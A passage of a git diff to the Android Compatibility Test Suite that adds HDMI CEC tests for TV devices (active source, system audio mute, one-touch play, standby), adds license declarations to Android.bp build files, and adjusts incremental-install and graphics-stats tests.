+        // Make the TV device the active source.
+        HdmiControlManagerUtility.setActiveSource(
+                getDevice(), LogicalAddress.TV.getLogicalAddressAsInt());
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.REQUEST_ACTIVE_SOURCE);
+        hdmiCecClient.checkExpectedOutput(CecOperand.ACTIVE_SOURCE);
+    }
+
+    /**
+     * Test 11.1.2-4
+     *
+     * <p>Tests that the device accepts {@code <Inactive Source>} message.
+     */
+    @Test
+    public void cect_11_1_2_4_DutAcceptsInactiveSourceMessage() throws Exception {
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.TV,
+                CecOperand.INACTIVE_SOURCE,
+                CecMessage.formatParams(hdmiCecClient.getPhysicalAddress()));
+        hdmiCecClient.checkOutputDoesNotContainMessage(
+                hdmiCecClient.getSelfDevice(),
+                CecOperand.FEATURE_ABORT,
+                CecMessage.formatParams(CecOperand.INACTIVE_SOURCE.toString()));
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
new file mode 100644
index 0000000..4a4bf92
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.tv;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.hdmicec.cts.AudioManagerHelper;
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC test to verify system audio control commands tests (Section 11.1.15) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
+
+    private static final int ON = 0x1;
+    private static final int OFF = 0x0;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
+                    .around(hdmiCecClient);
+
+    public HdmiCecSystemAudioControlTest() {
+        super(LogicalAddress.TV, "-t", "a");
+    }
+
+    /**
+     * Test 11.1.15-7
+     *
+     * <p>Tests that the DUT mutes its volume when the DUT receives a broadcast {@code <Set System
+     * Audio Mode>} ["On"] message
+     */
+    @Ignore("b/174733146")
+    @Test
+    public void cect_11_1_15_7_DutMutesForSetSystemAudioModeOn() throws Exception {
+        /*
+         * TODO: Call HdmiCecLocalDeviceTv.setSystemAudioMode(false) instead to turn off system
+         * audio mode after permission issue is sorted.
+         */
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(OFF));
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(ON));
+        assertWithMessage("Device is not muted")
+                .that(AudioManagerHelper.isDeviceMuted(getDevice()))
+                .isTrue();
+    }
+
+    /**
+     * Test 11.1.15-8
+     *
+     * <p>Tests that the DUT unmutes its volume when the DUT receives a broadcast {@code <Set System
+     * Audio Mode>} ["Off"] message
+     */
+    @Ignore("b/174733146")
+    @Test
+    public void cect_11_1_15_8_DutUnmutesForSetSystemAudioModeOff() throws Exception {
+        /*
+         * TODO: Call HdmiCecLocalDeviceTv.setSystemAudioMode(true) instead to turn off system
+         * audio mode after permission issue is sorted.
+         */
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(ON));
+        hdmiCecClient.sendCecMessage(
+                hdmiCecClient.getSelfDevice(),
+                LogicalAddress.BROADCAST,
+                CecOperand.SET_SYSTEM_AUDIO_MODE,
+                CecMessage.formatParams(OFF));
+        assertWithMessage("Device is muted")
+                .that(AudioManagerHelper.isDeviceMuted(getDevice()))
+                .isFalse();
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
new file mode 100644
index 0000000..ee6fafa
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.tv;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+/** HDMI CEC test to test One Touch Play features (Section 11.1.1) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiCecTvOneTouchPlayTest extends BaseHdmiCecCtsTest {
+
+    private static final LogicalAddress TV_DEVICE = LogicalAddress.TV;
+    private static final int WAIT_TIME_MS = 300;
+    List<LogicalAddress> testDevices = new ArrayList<>();
+
+    public HdmiCecTvOneTouchPlayTest() {
+        /* Start the client as recorder, tuner and playback devices */
+        super(TV_DEVICE, "-t", "r", "-t", "t", "-t", "p");
+        testDevices.add(LogicalAddress.RECORDER_1);
+        testDevices.add(LogicalAddress.TUNER_1);
+        testDevices.add(LogicalAddress.PLAYBACK_1);
+    }
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, TV_DEVICE))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test 11.1.1-1
+     *
+     * <p>Tests that the DUT responds to {@code <Image View On>} message correctly when the message
+     * is sent from logical addresses 0x1, 0x3 and 0x4
+     */
+    @Test
+    public void cect_11_1_1_1_RespondToImageViewOn() throws Exception {
+        for (LogicalAddress testDevice : testDevices) {
+            hdmiCecClient.sendCecMessage(testDevice, LogicalAddress.TV, CecOperand.IMAGE_VIEW_ON);
+            TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+            hdmiCecClient.broadcastActiveSource(testDevice, hdmiCecClient.getPhysicalAddress());
+            hdmiCecClient.checkOutputDoesNotContainMessage(testDevice, CecOperand.FEATURE_ABORT);
+            assertWithMessage(
+                            "Device has not registered expected logical address as active source.")
+                    .that(getDumpsysActiveSourceLogicalAddress())
+                    .isEqualTo(testDevice);
+        }
+    }
+
+    /**
+     * Test 11.1.1-2
+     *
+     * <p>Tests that the DUT responds to {@code <Text View On>} message correctly when the message
+     * is sent from logical addresses 0x1, 0x3 and 0x4
+     */
+    @Test
+    public void cect_11_1_1_2_RespondToTextViewOn() throws Exception {
+        for (LogicalAddress testDevice : testDevices) {
+            hdmiCecClient.sendCecMessage(testDevice, LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+            TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+            hdmiCecClient.broadcastActiveSource(testDevice, hdmiCecClient.getPhysicalAddress());
+            hdmiCecClient.checkOutputDoesNotContainMessage(testDevice, CecOperand.FEATURE_ABORT);
+            assertWithMessage(
+                            "Device has not registered expected logical address as active source.")
+                    .that(getDumpsysActiveSourceLogicalAddress())
+                    .isEqualTo(testDevice);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
new file mode 100644
index 0000000..ce39cf1
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.tv;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+/** HDMI CEC tests for system standby features (Section 11.1.3) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiCecTvStandbyTest extends BaseHdmiCecCtsTest {
+
+    private static final LogicalAddress TV_DEVICE = LogicalAddress.TV;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, TV_DEVICE))
+                    .around(hdmiCecClient);
+
+    private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
+            "hdmi_control_auto_device_off_enabled";
+
+    /**
+     * Test 11.1.3-1
+     *
+     * <p>Tests that the DUT broadcasts a {@code <Standby>} message correctly and goes into standby
+     * when standby is initiated.
+     */
+    @Test
+    public void cect_11_1_3_1_BroadcastStandby() throws Exception {
+        ITestDevice device = getDevice();
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        boolean wasOn = setHdmiControlDeviceAutoOff(true);
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.STANDBY);
+            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
+            assertWithMessage("Device is not in standby.")
+                    .that(wakeState.trim())
+                    .isEqualTo("mWakefulness=Asleep");
+        } finally {
+            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            setHdmiControlDeviceAutoOff(wasOn);
+        }
+    }
+
+    private boolean setHdmiControlDeviceAutoOff(boolean turnOn) throws Exception {
+        ITestDevice device = getDevice();
+        String val =
+                device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF)
+                        .trim();
+        String valToSet = turnOn ? "1" : "0";
+        device.executeShellCommand(
+                "settings put global " + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
+        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
+        return val.equals("1");
+    }
+}
diff --git a/hostsidetests/incident/Android.bp b/hostsidetests/incident/Android.bp
index 932948e..0e97a61 100644
--- a/hostsidetests/incident/Android.bp
+++ b/hostsidetests/incident/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsIncidentHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/incident/apps/batterystatsapp/Android.bp b/hostsidetests/incident/apps/batterystatsapp/Android.bp
index 5110288..96f6c37 100644
--- a/hostsidetests/incident/apps/batterystatsapp/Android.bp
+++ b/hostsidetests/incident/apps/batterystatsapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsBatteryStatsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.bp b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
index 7ee158f..3b3b1d8 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.bp
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppWidgetApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/errorsapp/Android.bp b/hostsidetests/incident/apps/errorsapp/Android.bp
index b21bd93..bdd7ff1 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.bp
+++ b/hostsidetests/incident/apps/errorsapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsErrorsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/errorsapp/jni/Android.bp b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
index 2e7e1f0..ca61922 100644
--- a/hostsidetests/incident/apps/errorsapp/jni/Android.bp
+++ b/hostsidetests/incident/apps/errorsapp/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libcrash-jni",
     srcs: ["crash-jni.c"],
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
index 5ca33a8..d8d6b9b 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsGraphicsStatsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.bp b/hostsidetests/incident/apps/notificationsapp/Android.bp
index 06f15e4..581c5b9 100644
--- a/hostsidetests/incident/apps/notificationsapp/Android.bp
+++ b/hostsidetests/incident/apps/notificationsapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsNotificationIncidentTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.bp b/hostsidetests/incident/apps/procstatsapp/Android.bp
index 51b567b..8b8daec 100644
--- a/hostsidetests/incident/apps/procstatsapp/Android.bp
+++ b/hostsidetests/incident/apps/procstatsapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProcStatsProtoApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 33859bf..f62334f 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -17,6 +17,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.platform.test.annotations.RequiresDevice;
 import android.service.GraphicsStatsHistogramBucketProto;
 import android.service.GraphicsStatsJankSummaryProto;
 import android.service.GraphicsStatsProto;
@@ -28,6 +29,11 @@
 import java.util.Date;
 import java.util.List;
 
+// Although this test does not directly test performance, it does indirectly require consistent
+// performance for the "good" frames. Although pass-through GPU virtual devices should have
+// sufficient performance to pass OK, not all virtual devices do. So restrict this to physical
+// devices.
+@RequiresDevice
 public class GraphicsStatsValidationTest extends ProtoDumpTestCase {
     private static final String TAG = "GraphicsStatsValidationTest";
 
@@ -109,8 +115,8 @@
         int veryJankyDelta = countFramesAbove(statsAfter, 60) - countFramesAbove(statsBefore, 60);
         // The 1st frame could be >40ms, but nothing after that should be
         assertThat(veryJankyDelta).isAtMost(2);
-        int noGPUJank = countGPUFramesAbove(statsAfter, 25) - countGPUFramesAbove(statsBefore, 25);
-        assertThat(noGPUJank).isEqualTo(0);
+        int GPUJank = countGPUFramesAbove(statsAfter, 25) - countGPUFramesAbove(statsBefore, 25);
+        assertThat(GPUJank).isAtMost(2);
     }
 
     public void testDaveyDrawFrame() throws Exception {
diff --git a/hostsidetests/incrementalinstall/Android.bp b/hostsidetests/incrementalinstall/Android.bp
index b4576b8..307f5fa 100644
--- a/hostsidetests/incrementalinstall/Android.bp
+++ b/hostsidetests/incrementalinstall/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsIncrementalInstallHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/incrementalinstall/app/Android.bp b/hostsidetests/incrementalinstall/app/Android.bp
index bd48119..5072cb4 100644
--- a/hostsidetests/incrementalinstall/app/Android.bp
+++ b/hostsidetests/incrementalinstall/app/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 // v1 implementation of test app built with v1 manifest.
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "IncrementalTestApp",
     srcs: ["v1/src/**/*.java"],
diff --git a/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp b/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
index b426210..b3dda07 100644
--- a/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
+++ b/hostsidetests/incrementalinstall/app/dynamicasset/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "IncrementalTestAppDynamicAsset",
     sdk_version: "current",
@@ -26,4 +30,4 @@
         "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
         "--package-id 0x80",
     ],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp b/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
index 451bab9..942cfc2 100644
--- a/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
+++ b/hostsidetests/incrementalinstall/app/dynamiccode/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "IncrementalTestAppDynamicCode",
     sdk_version: "current",
@@ -27,4 +31,4 @@
         "--rename-manifest-package android.incrementalinstall.incrementaltestapp",
         "--package-id 0x81",
     ],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
index 7d7a602..3779c0e 100644
--- a/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibcompressed/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libcompressednativeincrementaltest",
     sdk_version: "current", // Oreo
diff --git a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
index 3421fb8..0849c0e 100644
--- a/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
+++ b/hostsidetests/incrementalinstall/app/nativelibuncompressed/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libuncompressednativeincrementaltest",
     sdk_version: "current", // Oreo
diff --git a/hostsidetests/incrementalinstall/appvalidator/Android.bp b/hostsidetests/incrementalinstall/appvalidator/Android.bp
index 41021fa..cc02b0e 100644
--- a/hostsidetests/incrementalinstall/appvalidator/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "IncrementalTestAppValidator",
     srcs: ["src/**/*.java"],
@@ -43,4 +47,4 @@
     platform_apis: true,
     export_package_resources: true,
     aapt_include_all_resources: true,
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp b/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
index 28d7450..edd0a87 100644
--- a/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
+++ b/hostsidetests/incrementalinstall/appvalidator/src/android/incrementalinstall/inrementaltestappvalidation/jni/Android.bp
@@ -14,6 +14,10 @@
  * limitations under the License.
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
  cc_test_library {
      name: "libpath_checker_jni",
      cpp_std: "c++2a",
diff --git a/hostsidetests/incrementalinstall/common/Android.bp b/hostsidetests/incrementalinstall/common/Android.bp
index 03b2f04..ffe5d10 100644
--- a/hostsidetests/incrementalinstall/common/Android.bp
+++ b/hostsidetests/incrementalinstall/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "incremental-install-common-lib",
     srcs: ["src/**/*.java",],
@@ -21,4 +25,4 @@
 java_library_host {
     name: "incremental-install-common-host-lib",
     srcs: ["src/**/*.java",],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index d847e3c..6e7adc6 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -135,11 +135,14 @@
     public void testBaseApkMissingSignatureAdbInstall() throws Exception {
         String newApkName = String.format("base%d.apk", new Random().nextInt());
         // Create a copy of original apk but not its idsig.
-        copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
-        String output = installWithAdbInstaller(newApkName);
-        verifyInstallCommandFailure(output);
-        assertTrue(output.contains(String.format("Failed to stat signature file %s",
-                getFilePathFromBuildInfo(newApkName) + SIG_SUFFIX)));
+        copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+        // Make sure it installs.
+        assertTrue(
+                installWithAdbInstaller(TEST_APP_BASE_APK_NAME).contains(INSTALL_SUCCESS_OUTPUT));
+        verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
+        verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
+                TEST_APP_V1_VERSION);
+        validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT);
 
     }
 
@@ -147,8 +150,9 @@
     public void testBaseApkInvalidSignatureAdbInstall() throws Exception {
         String newApkName = String.format("base%d.apk", new Random().nextInt());
         String sigSuffix = ".idsig";
-        copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
-        copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, newApkName + sigSuffix);
+        File destApk = copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+        copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, destApk.getParentFile(),
+                newApkName + sigSuffix);
         try (RandomAccessFile raf = new RandomAccessFile(
                 getFilePathFromBuildInfo(newApkName + sigSuffix), "rw")) {
             // Contaminate signature by complementing a random byte.
@@ -351,10 +355,11 @@
         return mBuildHelper.getTestFile(filename).getAbsolutePath();
     }
 
-    private void copyTestFile(String sourceFilename, String destFilename) throws IOException {
+    private File copyTestFile(String sourceFilename, File destPath, String destFilename) throws IOException {
         File source = new File(getFilePathFromBuildInfo(sourceFilename));
-        File dest = new File(source.getParentFile(), destFilename);
+        File dest = new File(destPath != null ? destPath : source.getParentFile(), destFilename);
         FileUtil.copyFile(source, dest);
+        return dest;
     }
 
     private void uninstallApp(String packageName) throws Exception {
diff --git a/hostsidetests/inputmethodservice/common/Android.bp b/hostsidetests/inputmethodservice/common/Android.bp
index 6d07408..f2e0be6 100644
--- a/hostsidetests/inputmethodservice/common/Android.bp
+++ b/hostsidetests/inputmethodservice/common/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 
 // Build the common library for use device-side
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test {
     name: "CtsInputMethodServiceCommon",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
index 4d4fb3e..4ad7237 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsInputMethodServiceDeviceTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index d226687..2d95ca2 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -71,7 +71,7 @@
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceDeviceTest {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(7);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(20);
 
     /** Test to check CtsInputMethod1 receives onCreate and onStartInput. */
     @Test
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS
new file mode 100644
index 0000000..fb8017c
--- /dev/null
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/OWNERS
@@ -0,0 +1 @@
+per-file *InlineSuggestion* = file:platform/frameworks/base:/core/java/android/service/autofill/OWNERS
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
index bab73b4..e0f6ed5 100644
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "EditTextApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
index 65e546c..8c59b53 100644
--- a/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
+++ b/hostsidetests/inputmethodservice/deviceside/ime1/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
